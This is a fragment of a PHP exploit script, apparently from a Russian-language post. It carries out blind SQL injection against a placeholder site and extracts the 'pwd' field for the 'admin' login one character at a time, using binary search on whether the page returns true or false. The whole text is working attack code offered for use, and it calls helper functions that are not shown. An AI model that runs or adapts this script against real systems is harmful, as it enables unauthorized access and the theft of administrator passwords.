Code
Код программы
global $tfind;
if(preg_match('/'.$tfind.'/', send_xpl($url, xpl($field,$cond.$ch,$pos))))
return 1;
else
return 0;
}
function getChar($url, $field, $pos, $lb=0, $ub=255) {
while(true) {
$M = floor($lb + ($ub-$lb)/2);
if(cond($url, $field, '<', $pos, $M)==1) {
$ub = $M - 1;
}
else if(cond($url, $field, '>', $pos, $M)==1) {
$lb = $M + 1;
}
else
return chr($M);
if($lb > $ub)
return -1;
}
}
$tfind="textfromtruequery";
$url="http://site.ru";
$field="pwd"; //всегда должно быть тру.
$from="from(db.table)where(login=0x61646d696e)";
if(preg_match('/'.$tfind.'/', send_xpl($url, xpl("version()",">1",1,$from))))
{
echo "works\r\n";
}
else
die("check sql query");
for($i=1;$i<=100;$i++)
{
$c = getChar($url, $field, $i, 46, 122, $from);
if($c==-1)
die("\r\nend");
else
echo $c;
}
?>